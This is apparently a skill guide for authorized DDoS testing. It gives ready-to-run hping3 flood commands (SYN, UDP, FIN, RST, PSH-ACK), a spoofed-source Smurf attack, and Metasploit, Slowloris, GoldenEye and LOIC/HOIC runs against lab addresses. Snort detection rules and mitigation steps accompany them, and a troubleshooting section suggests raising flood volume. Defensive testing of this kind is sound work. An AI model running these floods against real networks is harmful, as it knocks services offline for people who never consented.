DDoS Attack Testing

Purpose

Conduct authorized denial of service testing to assess network resilience and configure intrusion detection systems (IDS) to detect and alert on various DoS attack patterns. This skill covers volume-based, protocol-based, and application-layer attacks using command-line and GUI tools, along with Snort IDS rule configuration for detection.

Prerequisites

Required Tools

# Hping3 - packet crafting and flooding
sudo apt-get install hping3

# LOIC/HOIC - GUI-based stress testing
# Download from authorized sources only

# Slowloris - Application layer testing
git clone https://github.com/gkbrk/slowloris

# Snort IDS - Detection
sudo apt-get install snort

# Wireshark - Traffic analysis
sudo apt-get install wireshark

Required Knowledge

• TCP/IP protocol fundamentals
• OSI model layers
• Network traffic analysis
• IDS/IPS configuration

Required Access

• Written authorization for testing
• Isolated test network environment
• Administrative access on target systems
• IDS/Snort configuration access

Outputs and Deliverables

1. Resilience Assessment Report - Document network response to stress testing
2. IDS Rule Configuration - Snort rules for attack detection
3. Attack Pattern Analysis - Traffic captures and signatures
4. Mitigation Recommendations - DDoS protection strategies

Core Workflow

Phase 1: Understanding DDoS Categories

Identify the attack category based on target:

Volume Based Attacks:
- Objective: Flood bandwidth with traffic
- Metrics: Bits per second (bps)
- Examples: UDP flood, ICMP flood
- Target: Network bandwidth

Protocol Based Attacks:
- Objective: Exhaust server resources
- Metrics: Packets per second (pps)
- Examples: SYN flood, Ping of Death
- Target: Connection state tables

Application Layer Attacks:
- Objective: Crash specific applications
- Metrics: Requests per second (rps)
- Examples: HTTP flood, Slowloris
- Target: Web servers, applications

Phase 2: TCP SYN Flood Testing

Test network resilience to SYN flood attacks:

# Using Hping3
hping3 -S --flood -p 80 192.168.1.107

# Options:
# -S     : Set SYN flag
# --flood: Send packets as fast as possible
# -p 80  : Target port 80

# Using Metasploit
msfconsole
use auxiliary/dos/tcp/synflood
set RHOST 192.168.1.107
set SHOST 192.168.1.105
set RPORT 80
exploit

Configure Snort detection rule:

# Edit local rules
sudo gedit /etc/snort/rules/local.rules

# Add SYN flood detection rule
alert tcp any any -> 192.168.1.107 any (msg:"SYN Flood DoS"; flags:S; sid:1000006; threshold:type threshold, track by_src, count 100, seconds 1;)

# Start Snort in IDS mode
sudo snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0

Phase 3: UDP Flood Testing

Test network against UDP flood attacks:

# Using Hping3
hping3 --udp --flood -p 80 192.168.1.107

# Options:
# --udp   : Use UDP protocol
# --flood : Maximum packet rate
# -p 80   : Target port

# Specify data size
hping3 --udp --flood -p 53 -d 1000 192.168.1.107
# -d 1000 : 1000 bytes of data per packet

Configure Snort detection rule:

# UDP flood detection rule
alert udp any any -> 192.168.1.107 any (msg:"UDP Flood DoS"; sid:1000001; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 4: SYN-FIN Flood Testing

Test with invalid flag combinations:

# SYN-FIN flood
hping3 -SF --flood -p 80 192.168.1.107

# Options:
# -S : SYN flag
# -F : FIN flag
# Combined creates invalid packet

Detection is built into Snort for anomalous flag combinations.

Phase 5: PUSH-ACK Flood Testing

Test with PSH-ACK packet flood:

# PUSH-ACK flood
hping3 -PA --flood -p 80 192.168.1.107

# Options:
# -P : PSH flag
# -A : ACK flag

Configure Snort detection rule:

# PUSH-ACK flood detection
alert tcp any any -> 192.168.1.107 any (msg:"PUSH-ACK Flood DoS"; flags:PA; sid:1000002; threshold:type threshold, track by_src, count 100, seconds 1;)

Phase 6: RST Flood Testing

Test with TCP reset packet flood:

# RST flood
hping3 -R --flood -p 80 192.168.1.107

# Options:
# -R : RST flag

Configure Snort detection rule:

# RST flood detection
alert tcp any any -> 192.168.1.107 any (msg:"RST Flood DoS"; flags:R; sid:1000003;)

Phase 7: FIN Flood Testing

Test with FIN packet flood:

# FIN flood
hping3 -F --flood -p 80 192.168.1.107

# Options:
# -F : FIN flag

Configure Snort detection rule:

# FIN flood detection
alert tcp any any -> 192.168.1.107 any (msg:"FIN Flood DoS"; flags:F; sid:1000004;)

Phase 8: ICMP Smurf Attack

Test amplification attack scenario:

# Smurf attack simulation
hping3 --icmp --flood 192.168.1.255 -a 192.168.1.107

# Options:
# --icmp : Use ICMP protocol
# -a     : Spoof source address (victim)
# Target : Broadcast address

# All hosts reply to victim's spoofed address

Configure Snort detection rule:

# ICMP flood detection
alert icmp any any -> 192.168.1.107 any (msg:"ICMP Flood DoS"; sid:1000005; threshold:type threshold, track by_src, count 50, seconds 1;)

Phase 9: Application Layer Testing

Test HTTP layer resilience:

Slowloris Attack:

# Slowloris - Slow HTTP attack
python slowloris.py 192.168.1.107 -p 80 -s 500

# Options:
# -p 80  : Target port
# -s 500 : Number of sockets

GoldenEye Attack:

# GoldenEye - HTTP DoS
git clone https://github.com/jseidl/GoldenEye
python goldeneye.py http://192.168.1.107 -w 50 -s 500

# Options:
# -w 50  : Number of workers
# -s 500 : Number of sockets

Phase 10: GUI-Based Testing

Use graphical tools for stress testing:

LOIC (Low Orbit Ion Cannon):

# TCP Flood with LOIC
1. Enter target IP: 192.168.1.107
2. Select Port: 80
3. Select Method: TCP
4. Set Threads: 10
5. Click "IMMA CHARGIN MAH LAZER"

HOIC (High Orbit Ion Cannon):

# HTTP Flood with HOIC
1. Add Target URL
2. Select Power: High
3. Set Threads: 256
4. Launch Attack

Quick Reference

Hping3 Flag Options

Flag	Option	Description
SYN	-S	TCP SYN flag
ACK	-A	TCP ACK flag
FIN	-F	TCP FIN flag
RST	-R	TCP RST flag
PSH	-P	TCP PSH flag
URG	-U	TCP URG flag
UDP	--udp	Use UDP protocol
ICMP	--icmp	Use ICMP protocol

Common Hping3 Commands

Attack Type	Command
SYN Flood	hping3 -S --flood -p 80 TARGET
UDP Flood	hping3 --udp --flood -p 80 TARGET
ICMP Flood	hping3 --icmp --flood TARGET
SYN-FIN	hping3 -SF --flood -p 80 TARGET
PSH-ACK	hping3 -PA --flood -p 80 TARGET
RST Flood	hping3 -R --flood -p 80 TARGET
FIN Flood	hping3 -F --flood -p 80 TARGET
Spoof Source	hping3 -S --flood -a FAKE_IP -p 80 TARGET

Snort Rule Structure

alert [protocol] [src_ip] [src_port] -> [dst_ip] [dst_port] (
    msg:"Alert Message";
    flags:[TCP flags];
    sid:[unique ID];
    threshold:type [threshold|limit|both], track [by_src|by_dst], count [N], seconds [N];
)

Attack Detection Indicators

Attack Type	Indicators
SYN Flood	High SYN packets, low SYN-ACK
UDP Flood	High UDP traffic, random ports
ICMP Flood	High ICMP echo requests
Slowloris	Many half-open connections
HTTP Flood	High HTTP requests/second

Constraints and Limitations

Legal Requirements

• Only test systems you own or have written authorization
• DDoS attacks on production systems are illegal
• Use isolated test networks
• Document all testing activities

Ethical Boundaries

• Never attack production systems without explicit permission
• Avoid testing during business hours
• Coordinate with network administrators
• Have rollback procedures ready

Technical Limitations

• Test results vary with network capacity
• CDN and cloud protection may skew results
• Some attacks require significant bandwidth
• Detection rules need tuning for environment

Examples

Example 1: Complete SYN Flood Test

Scenario: Test firewall resilience to SYN flood

# Step 1: Configure Snort rule
echo 'alert tcp any any -> 192.168.1.107 80 (msg:"SYN Flood"; flags:S; sid:1000001; threshold:type threshold, track by_src, count 50, seconds 10;)' >> /etc/snort/rules/local.rules

# Step 2: Start Snort
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

# Step 3: Start Wireshark capture
wireshark -i eth0 -f "host 192.168.1.107 and tcp"

# Step 4: Launch attack from attacker machine
hping3 -S --flood -p 80 -c 10000 192.168.1.107

# Step 5: Observe Snort alerts
# [**] [1:1000001:0] SYN Flood [**]
# 192.168.1.105 -> 192.168.1.107

# Step 6: Analyze Wireshark capture
# Check SYN packet rate and response behavior

Example 2: Multi-Vector Test

Scenario: Test against multiple attack types

# Configure comprehensive Snort rules
cat >> /etc/snort/rules/local.rules << 'EOF'
alert tcp any any -> $HOME_NET any (msg:"SYN Flood"; flags:S; sid:1000001; threshold:type threshold, track by_src, count 100, seconds 1;)
alert udp any any -> $HOME_NET any (msg:"UDP Flood"; sid:1000002; threshold:type threshold, track by_src, count 100, seconds 1;)
alert icmp any any -> $HOME_NET any (msg:"ICMP Flood"; sid:1000003; threshold:type threshold, track by_src, count 50, seconds 1;)
alert tcp any any -> $HOME_NET 80 (msg:"HTTP Flood"; flags:PA; content:"GET"; sid:1000004; threshold:type threshold, track by_src, count 50, seconds 1;)
EOF

# Run tests sequentially
hping3 -S --flood -p 80 -c 5000 TARGET
sleep 30
hping3 --udp --flood -p 53 -c 5000 TARGET
sleep 30
hping3 --icmp --flood -c 5000 TARGET

Example 3: Slowloris Application Attack

Scenario: Test web server connection limits

# Step 1: Check current connections
netstat -an | grep :80 | wc -l

# Step 2: Launch Slowloris
python slowloris.py 192.168.1.107 -p 80 -s 200

# Step 3: Monitor server connections
watch -n 1 'netstat -an | grep :80 | grep ESTABLISHED | wc -l'

# Step 4: Test legitimate access
curl -v --max-time 10 http://192.168.1.107/
# Expect: Connection timeout or slow response

# Step 5: Stop attack and verify recovery

Troubleshooting

Snort Not Detecting Attacks

Problem: No alerts generated during flood

Solutions:

1. Verify Snort is listening on correct interface
2. Check rule syntax with snort -T -c snort.conf
3. Ensure HOME_NET variable is set correctly
4. Lower threshold values for testing
5. Verify traffic is reaching the interface

Hping3 Flood Too Slow

Problem: Flood rate insufficient for testing

Solutions:

1. Use --faster or --flood options
2. Run from multiple sources simultaneously
3. Increase system network buffer sizes
4. Use dedicated network interface
5. Consider using specialized stress testing tools

Target Not Affected

Problem: Target continues operating normally

Solutions:

1. Increase attack volume
2. Target may have DDoS protection
3. Check network path for filtering
4. Verify traffic is reaching target (Wireshark)
5. Target may have high capacity

False Positives in Detection

Problem: Legitimate traffic triggers alerts

Solutions:

1. Increase threshold count values
2. Add exceptions for known legitimate sources
3. Use rate-based detection instead of simple count
4. Whitelist trusted IP addresses
5. Tune rules based on baseline traffic analysis

Mitigation Recommendations

Network Level

1. Implement rate limiting at edge routers
2. Configure SYN cookies on servers
3. Use anycast for distributed absorption
4. Deploy hardware-based DDoS mitigation
5. Configure ACLs to block known attack patterns

Application Level

1. Implement connection timeouts
2. Use reverse proxy with rate limiting
3. Deploy Web Application Firewall (WAF)
4. Configure connection limits per IP
5. Use CAPTCHA for suspicious requests

Infrastructure Level

1. Use CDN for traffic absorption
2. Implement geo-blocking if appropriate
3. Configure auto-scaling for cloud resources
4. Have DDoS mitigation service on standby
5. Maintain incident response procedures